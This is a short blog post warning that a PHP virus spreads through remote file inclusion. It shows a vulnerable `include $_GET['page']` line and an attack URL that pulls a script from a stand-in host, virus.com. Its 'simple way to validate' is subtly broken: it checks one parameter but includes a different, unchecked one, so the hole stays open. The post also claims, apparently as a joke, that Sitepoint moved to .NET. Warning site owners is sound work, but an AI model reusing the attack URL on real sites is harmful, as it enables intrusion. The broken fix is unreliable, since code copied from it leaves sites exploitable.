Blog Post RSS ?

Blogs » PHP » PHP Virus Attacking Web Hosts
 

PHP Virus Attacking Web Hosts

by Harry Fuecks

Symantec have a report of the virus here.

I’ve yet to see any of the PHP news sites picking up on it but, using a virtual host account, managed to deliberately expose some PHP scripts to it.

From examining the infected scripts, what’s disturbing is once infected, every time a script is executed, the virus goes on a hunt for other web sites using PHP to see if it can trick them into executing the virus, thereby spreading it further directly over the Internet. Although the spread it likely to be slow, it can takes place automatically, without your intervention!

If your site contains code like;


// index.php
include $_GET['page'];

You need to take action now – your site could be infected with a URL like;


http://yoursite.com/index.php?page=http://virus.com/virus.php

A simple way to validate is;


$pages = array('news','articles','blog');
if ( in_array($_GET['page'], $pages) ) {
    include $_GET['php'] . '.php';
} else {
    include 'home.php';
}

Sitepoint have taken the extreme but necessary approach of upgrading to .NET in response.

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Ping.fm
  • Twitthis

Related posts:

  1. Microsoft Release Free Anti-Virus Package Microsoft's Security Essentials is a free Windows anti-virus package that...
  2. How to Test Multiple Websites on One PC With Apache Virtual Hosts Testing one website on your local web server is easy....
  3. Server-side JavaScript Will Be as Common as PHP Despite the fact that JavaScript has been typecast as the...
  4. How to Install PHP on Windows In his final installation tutorial, Craig provides a step-by-step guide...
  5. On $_GET and $_POST Troels Knak-Nielsen offers some thoughts about the naming of $_GET...

This post has 19 responses so far

Sponsored Links

SitePoint Marketplace

Buy and sell Websites, templates, domain names, hosting, graphics and more.

Follow SitePoint on...